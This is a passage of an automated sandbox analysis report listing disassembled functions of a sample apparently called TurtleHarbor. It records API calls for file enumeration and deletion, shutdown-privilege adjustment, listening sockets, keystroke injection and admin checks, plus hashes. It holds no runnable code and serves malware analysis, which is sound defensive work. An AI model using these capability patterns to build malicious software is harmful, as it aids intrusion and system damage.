                                              • Part of subcall function 003152B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003152E6
                                            • Sleep.KERNEL32(0000000A), ref: 0037FAB3
                                            • _wcscmp.LIBCMT ref: 0037FAC7
                                            • _wcscmp.LIBCMT ref: 0037FAE2
                                            • FindNextFileW.KERNEL32(?,?), ref: 0037FB80
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
                                            • String ID: *.*
                                            • API String ID: 2185952417-438819550
                                            • Opcode ID: 1bf25af5da6f95d95345d57bc566644ccc6c9e5605c9473dc4cfe30ceb107796
                                            • Instruction ID: 75fe18c6aac76636c654682b3e85718836bba5820426ce03efee6e8e593e17b4
                                            • Opcode Fuzzy Hash: 1bf25af5da6f95d95345d57bc566644ccc6c9e5605c9473dc4cfe30ceb107796
                                            • Instruction Fuzzy Hash: 8541947194021ADFCF26DF64CC55AEEBBB8FF15310F148466E818A6291E7349E44CF90
                                            Function 00374005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00330284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00322A58,?,00008000), ref: 003302A4
                                              • Part of subcall function 00374FEC: GetFileAttributesW.KERNEL32(?,00373BFE), ref: 00374FED
                                            • FindFirstFileW.KERNEL32(?,?), ref: 0037407C
                                            • DeleteFileW.KERNEL32(?,?,?,?), ref: 003740CC
                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 003740DD
                                            • FindClose.KERNEL32(00000000), ref: 003740F4
                                            • FindClose.KERNEL32(00000000), ref: 003740FD
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                            • String ID: \*.*
                                            • API String ID: 2649000838-1173974218
                                            • Opcode ID: 6841a4386369a3dc0303d0a4b65940cb4596840ef83e22ff4c4529f78f83ceed
                                            • Instruction ID: a500d2471b88a9845d8f4894e0d648d98c56c32af31d50164b8462321ee6d15b
                                            • Opcode Fuzzy Hash: 6841a4386369a3dc0303d0a4b65940cb4596840ef83e22ff4c4529f78f83ceed
                                            • Instruction Fuzzy Hash: 363181310083959BC316EF60D9959AFB7ACBEA2304F444E1DF4E586191DB24EA09C7A2
                                            Function 00375778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00369399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003693E3
                                              • Part of subcall function 00369399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00369410
                                              • Part of subcall function 00369399: GetLastError.KERNEL32 ref: 0036941D
                                            • ExitWindowsEx.USER32(?,00000000), ref: 003757B4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                            • String ID: $@$SeShutdownPrivilege
                                            • API String ID: 2234035333-194228
                                            • Opcode ID: 224c0ba635f7e89476039ee5f788cecfa7e7a977b7cce70d8012042562d98e42
                                            • Instruction ID: 1af75b85b31f74891703a06af947ced90bf6a1f73d4b47e01aa07677f2be94f6
                                            • Opcode Fuzzy Hash: 224c0ba635f7e89476039ee5f788cecfa7e7a977b7cce70d8012042562d98e42
                                            • Instruction Fuzzy Hash: 1E01F731790752EAE77F62649CCBBBB735CAB05740F258529F81BE60D2E9985C008160
                                            Function 0038696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 003869C7
                                            • WSAGetLastError.WSOCK32(00000000), ref: 003869D6
                                            • bind.WSOCK32(00000000,?,00000010), ref: 003869F2
                                            • listen.WSOCK32(00000000,00000005), ref: 00386A01
                                            • WSAGetLastError.WSOCK32(00000000), ref: 00386A1B
                                            • closesocket.WSOCK32(00000000,00000000), ref: 00386A2F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorLast$bindclosesocketlistensocket
                                            • String ID:
                                            • API String ID: 1279440585-0
                                            • Opcode ID: ae5d25abbc21cf9e97ccefd8ba60148b14efe83d007a1ec93ed3b7efbe54898a
                                            • Instruction ID: 983b95035f119550a58ab57eb727746d997f935970eb7e56919de1b775630d51
                                            • Opcode Fuzzy Hash: ae5d25abbc21cf9e97ccefd8ba60148b14efe83d007a1ec93ed3b7efbe54898a
                                            • Instruction Fuzzy Hash: B321E4702006009FCB0AFF64DD4AA6EB7ADEF49720F118199F816AB3D1CB74AC41CB90
                                            Function 00311663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • DefDlgProcW.USER32(?,?,?,?,?), ref: 00311DD6
                                            • GetSysColor.USER32(0000000F), ref: 00311E2A
                                            • SetBkColor.GDI32(?,00000000), ref: 00311E3D
                                              • Part of subcall function 0031166C: DefDlgProcW.USER32(?,00000020,?), ref: 003116B4
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ColorProc$LongWindow
                                            • String ID:
                                            • API String ID: 3744519093-0
                                            • Opcode ID: 17d19592740107226085a8d75b72a442dd3989f8826e842601be724d8cdecf66
                                            • Instruction ID: 7215e6bd8e90784e9423c6d7ce97aca5642437150d3de20926b5e847c145a0a7
                                            • Opcode Fuzzy Hash: 17d19592740107226085a8d75b72a442dd3989f8826e842601be724d8cdecf66
                                            • Instruction Fuzzy Hash: 3CA17A7011A404BADA3F6B69AC89EFF359DDF4A301F12010AF602CE5D1EB20EC91D275
                                            Function 0037C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(?,?), ref: 0037C329
                                            • _wcscmp.LIBCMT ref: 0037C359
                                            • _wcscmp.LIBCMT ref: 0037C36E
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0037C37F
                                            • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0037C3AF
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Find$File_wcscmp$CloseFirstNext
                                            • String ID:
                                            • API String ID: 2387731787-0
                                            • Opcode ID: 1dacbb8efc809c00b3929d374bbe64b1b7bafd61e9d8b33c2b0cba155fb7b115
                                            • Instruction ID: 5747528db7e4997279e7cd0c6bf7e9f6854568c0c871531463c5714de2865702
                                            • Opcode Fuzzy Hash: 1dacbb8efc809c00b3929d374bbe64b1b7bafd61e9d8b33c2b0cba155fb7b115
                                            • Instruction Fuzzy Hash: CF51AD756046028FD72ADF68D490EAAB3E8FF49310F01861DF95A8B3A1DB34ED04CB91
                                            Function 00386E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00388475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 003884A0
                                            • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00386E89
                                            • WSAGetLastError.WSOCK32(00000000), ref: 00386EB2
                                            • bind.WSOCK32(00000000,?,00000010), ref: 00386EEB
                                            • WSAGetLastError.WSOCK32(00000000), ref: 00386EF8
                                            • closesocket.WSOCK32(00000000,00000000), ref: 00386F0C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                            • String ID:
                                            • API String ID: 99427753-0
                                            • Opcode ID: f0871c95e3c34a0352bfd4034b7b36193cde21a95b7b0cc13b4264bb83ce4220
                                            • Instruction ID: 4ed0a958702dc1af8d1e21147da4ec17edaa96cf69de81c3f38bcdd877b459ea
                                            • Opcode Fuzzy Hash: f0871c95e3c34a0352bfd4034b7b36193cde21a95b7b0cc13b4264bb83ce4220
                                            • Instruction Fuzzy Hash: B541D3B5600200AFDB16BF64DC86FAE73A89B4D714F048458F915AF3C2DA749D418BA1
                                            Function 003959B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                            • String ID:
                                            • API String ID: 292994002-0
                                            • Opcode ID: 333e452a67df656a0753395c17da5c5c858f8ecf578f61ea4c7eabd2c7ed78a0
                                            • Instruction ID: 9a2b80d8b71102f84136f3659f7a909f97775e967f5563962df40be08f1d1fa3
                                            • Opcode Fuzzy Hash: 333e452a67df656a0753395c17da5c5c858f8ecf578f61ea4c7eabd2c7ed78a0
                                            • Instruction Fuzzy Hash: 3211E7727009119FEB275F669C84A6E7B9DFF46721F014129F805D7241CB30ED818BE4
                                            Function 00350030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LocalTime__swprintf
                                            • String ID: %.3d$WIN_XPe
                                            • API String ID: 2070861257-2409531811
                                            • Opcode ID: e53c05f20bccc0c0ad420bed85376ab81a0e35ecec242674cdf19c30d2a1d60e
                                            • Instruction ID: 4755004e972c68ee3556831f55ceca1819040dc1e1eeda2c7a8591ee4adb60b8
                                            • Opcode Fuzzy Hash: e53c05f20bccc0c0ad420bed85376ab81a0e35ecec242674cdf19c30d2a1d60e
                                            • Instruction Fuzzy Hash: DCD012B1848108EAC71F9A90C985EF9B37CAB08302F144452FD46E3490D336978CAB22
                                            Function 003829BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 00382AAD
                                            • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00382AE4
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Internet$AvailableDataFileQueryRead
                                            • String ID:
                                            • API String ID: 599397726-0
                                            • Opcode ID: ef2cafff509081ce3dd378ab8b232d94ad4c95eb21bdcc782062543ae43dca49
                                            • Instruction ID: 3c8d618a843bd3c4390c1eff6a2543c58240565d4fa7d78e5b72fa93e10b5446
                                            • Opcode Fuzzy Hash: ef2cafff509081ce3dd378ab8b232d94ad4c95eb21bdcc782062543ae43dca49
                                            • Instruction Fuzzy Hash: 0641C371604309FFEB26EE94CC85EBBB7ACEF40754F10409AF605A6181EA75AE419760
                                            Function 00369399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00330FE6: std::exception::exception.LIBCMT ref: 0033101C
                                              • Part of subcall function 00330FE6: __CxxThrowException@8.LIBCMT ref: 00331031
                                            • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003693E3
                                            • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00369410
                                            • GetLastError.KERNEL32 ref: 0036941D
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                            • String ID:
                                            • API String ID: 1922334811-0
                                            • Opcode ID: 0d1be54a4ca2e1bf740c24488a0ed04d84506aa7f9a15e3d705d3d417bba59f0
                                            • Instruction ID: 1aa4fb293ebbbb3cedbf7b60b27c931b7d48edb7b42ee99e207887bcca850000
                                            • Opcode Fuzzy Hash: 0d1be54a4ca2e1bf740c24488a0ed04d84506aa7f9a15e3d705d3d417bba59f0
                                            • Instruction Fuzzy Hash: 67118FB1418205AFD729DF64DCC5E2BB7BCFB44710B21852EE45996250EB70AC41CB60
                                            Function 00374254 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00374271
                                            • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 003742B2
                                            • CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 003742BD
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CloseControlCreateDeviceFileHandle
                                            • String ID:
                                            • API String ID: 33631002-0
                                            • Opcode ID: 88b60c5915b6d5d0c6fee885b84ac0080009b77f3f28af36d26f71daf0d29737
                                            • Instruction ID: 4886a4acd3fcca8be9ed62cebc1bbd5b79d5859aa71cef1a528e065491327687
                                            • Opcode Fuzzy Hash: 88b60c5915b6d5d0c6fee885b84ac0080009b77f3f28af36d26f71daf0d29737
                                            • Instruction Fuzzy Hash: A6118275E01228BFDB218F959C44BAFBBBCEB45B20F108555FD04E7280C6745A019BA1
                                            Function 00374F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00374F45
                                            • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00374F5C
                                            • FreeSid.ADVAPI32(?), ref: 00374F6C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AllocateCheckFreeInitializeMembershipToken
                                            • String ID:
                                            • API String ID: 3429775523-0
                                            • Opcode ID: af70f5351e5228533dcb6d2cf9125acd6b2049b479a92d1673d63f9d5f1d0f8c
                                            • Instruction ID: fa2685ad6d79b10612f6bce4f504d8578cd25c18995ba6350b1927fda8a8bfbb
                                            • Opcode Fuzzy Hash: af70f5351e5228533dcb6d2cf9125acd6b2049b479a92d1673d63f9d5f1d0f8c
                                            • Instruction Fuzzy Hash: D3F04975A1130CBFDF04DFE0DD89AAEBBBCEF08301F4044A9A901E2180E7346A048B50
                                            Function 00371AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00371B01
                                            • keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00371B14
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: InputSendkeybd_event
                                            • String ID:
                                            • API String ID: 3536248340-0
                                            • Opcode ID: 5827370e2133eaee9280367213190b4c6bd2b7d40c87184d79aef19aa1fc7e74
                                            • Instruction ID: f18b271c6ba5be873add2cbf28b10ee5b1c0ae7f4cc27e6df3aebc865231fa23
                                            • Opcode Fuzzy Hash: 5827370e2133eaee9280367213190b4c6bd2b7d40c87184d79aef19aa1fc7e74
                                            • Instruction Fuzzy Hash: AFF0497290420DABDB15CFA4C805BFE7BB8FF04315F00804AF95996292D3799615DF94
                                            Function 0037A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00389B52,?,003A098C,?), ref: 0037A6DA
                                            • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00389B52,?,003A098C,?), ref: 0037A6EC
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorFormatLastMessage
                                            • String ID:
                                            • API String ID: 3479602957-0
                                            • Opcode ID: 9208d68cc56aa46f46e502157d76dc09753a9fb34ee7519535ad2c080984821f
                                            • Instruction ID: c4ac6408cd5e09b04cf1496f08008f38961c3049c3879d4e683f0ac7febd4a2d
                                            • Opcode Fuzzy Hash: 9208d68cc56aa46f46e502157d76dc09753a9fb34ee7519535ad2c080984821f
                                            • Instruction Fuzzy Hash: 6AF0A73550422DBBDB22AFA4CC48FEA77ACFF09761F008155B918D6181D6309940CBE1
                                            Function 00368DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                            Download Yara Rule
                                            APIs
                                            • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00368F27), ref: 00368DFE
                                            • CloseHandle.KERNEL32(?,?,00368F27), ref: 00368E10
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AdjustCloseHandlePrivilegesToken
                                            • String ID:
                                            • API String ID: 81990902-0
                                            • Opcode ID: 35466baa42619b34b29de61cea0f26d4907368d198d9881cada23195a3027193
                                            • Instruction ID: f0641206613ae6a312a15068e90cd8e5875b7d0ecb80eabb0389f696a778ff24
                                            • Opcode Fuzzy Hash: 35466baa42619b34b29de61cea0f26d4907368d198d9881cada23195a3027193
                                            • Instruction Fuzzy Hash: 3DE0EC76014610EFEB2B2B60EC49E777BADEF04310F14892DF49A844B4DB62ACE0DB50
                                            Function 0033A385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • SetUnhandledExceptionFilter.KERNEL32(00000000,0000FFFF,00338F87,0000FCD7,?,?,00000001), ref: 0033A38A
                                            • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0033A393
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
